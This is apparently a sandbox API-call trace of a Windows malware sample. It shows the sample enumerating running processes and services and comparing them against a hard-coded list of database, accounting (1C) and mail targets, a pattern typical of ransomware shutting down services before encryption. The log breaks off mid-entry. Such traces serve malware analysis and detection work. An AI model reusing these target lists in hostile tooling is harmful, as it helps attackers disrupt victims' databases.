[0130.835] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0130.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0130.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0130.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0130.835] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0130.836] lstrlenW (lpString="lsm.exe") returned 7 [0130.836] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0130.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0130.836] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0130.836] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0130.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0130.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0130.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0130.836] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.837] lstrlenW (lpString="svchost.exe") returned 11 [0130.837] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.837] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.837] lstrlenW (lpString="svchost.exe") returned 11 [0130.837] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.837] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.837] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.838] lstrlenW (lpString="svchost.exe") returned 11 [0130.838] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.838] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.838] lstrlenW (lpString="svchost.exe") returned 11 [0130.838] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.838] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.839] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.839] lstrlenW (lpString="svchost.exe") returned 11 [0130.839] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.839] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.839] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.839] lstrlenW (lpString="audiodg.exe") returned 11 [0130.840] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.840] lstrlenW (lpString="svchost.exe") returned 11 [0130.840] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.840] lstrlenW (lpString="svchost.exe") returned 11 [0130.840] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.841] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.841] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0130.841] lstrlenW (lpString="taskhost.exe") returned 12 [0130.841] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.841] lstrlenW (lpString="svchost.exe") returned 11 [0130.841] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0130.842] lstrlenW (lpString="userinit.exe") returned 12 [0130.842] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.842] lstrlenW (lpString="dwm.exe") returned 7 [0130.842] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.842] lstrlenW (lpString="explorer.exe") returned 12 [0130.842] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0130.843] lstrlenW (lpString="3G6885.exe") returned 10 [0130.843] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0130.843] lstrlenW (lpString="reader_sl.exe") returned 13 [0130.843] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0130.843] lstrlenW (lpString="dllhost.exe") returned 11 [0130.843] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0130.844] lstrlenW (lpString="cmd.exe") returned 7 [0130.844] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.844] lstrlenW (lpString="conhost.exe") returned 11 [0130.844] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0130.844] CloseHandle (hObject=0x12c) returned 1 [0130.845] Sleep (dwMilliseconds=0x1f4) [0131.497] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x335dc0 [0131.559] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0131.559] GetLastError () returned 0xea [0131.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x36e7e8 [0131.559] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36e7e8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36e7e8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0131.561] CloseServiceHandle (hSCObject=0x335dc0) returned 1 [0131.561] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0131.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0131.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0131.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0131.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0131.561] lstrlenW (lpString="AudioSrv") returned 8 [0131.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0131.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0131.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0131.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0131.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0131.562] lstrlenW (lpString="BFE") returned 3 [0131.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0131.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0131.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0131.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0131.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0131.562] lstrlenW (lpString="CryptSvc") returned 8 [0131.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0131.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0131.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0131.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0131.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0131.562] lstrlenW (lpString="CscService") returned 10 [0131.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0131.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0131.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0131.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0131.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0131.562] lstrlenW (lpString="DcomLaunch") returned 10 [0131.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0131.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0131.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0131.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0131.562] lstrlenW (lpString="Dhcp") returned 4 [0131.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0131.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0131.563] lstrlenW (lpString="Dnscache") returned 8 [0131.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0131.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0131.563] lstrlenW (lpString="DPS") returned 3 [0131.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0131.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0131.563] lstrlenW (lpString="eventlog") returned 8 [0131.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0131.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0131.563] lstrlenW (lpString="EventSystem") returned 11 [0131.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0131.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0131.563] lstrlenW (lpString="gpsvc") returned 5 [0131.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0131.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0131.563] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0131.563] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0131.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0131.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0131.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0131.564] lstrlenW (lpString="lmhosts") returned 7 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0131.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0131.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0131.564] lstrlenW (lpString="MMCSS") returned 5 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0131.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0131.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0131.564] lstrlenW (lpString="MpsSvc") returned 6 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0131.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0131.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0131.564] lstrlenW (lpString="NlaSvc") returned 6 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0131.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0131.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0131.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0131.564] lstrlenW (lpString="nsi") returned 3 [0131.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0131.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0131.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0131.565] lstrlenW (lpString="PcaSvc") returned 6 [0131.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0131.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0131.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0131.565] lstrlenW (lpString="PlugPlay") returned 8 [0131.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0131.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0131.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0131.565] lstrlenW (lpString="Power") returned 5 [0131.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0131.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0131.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0131.565] lstrlenW (lpString="ProfSvc") returned 7 [0131.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0131.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0131.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0131.565] lstrlenW (lpString="RpcEptMapper") returned 12 [0131.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0131.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0131.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0131.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0131.566] lstrlenW (lpString="RpcSs") returned 5 [0131.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0131.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0131.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0131.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0131.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0131.566] lstrlenW (lpString="SamSs") returned 5 [0131.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0131.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0131.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0131.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0131.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0131.566] lstrlenW (lpString="Schedule") returned 8 [0131.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0131.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0131.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0131.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0131.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0131.566] lstrlenW (lpString="SENS") returned 4 [0131.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0131.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0131.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0131.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0131.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0131.566] lstrlenW (lpString="ShellHWDetection") returned 16 [0131.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0131.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0131.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0131.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0131.568] lstrlenW (lpString="Spooler") returned 7 [0131.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0131.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0131.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0131.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0131.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0131.568] lstrlenW (lpString="Themes") returned 6 [0131.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0131.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0131.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0131.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0131.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0131.568] lstrlenW (lpString="UxSms") returned 5 [0131.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0131.568] lstrcmpiW 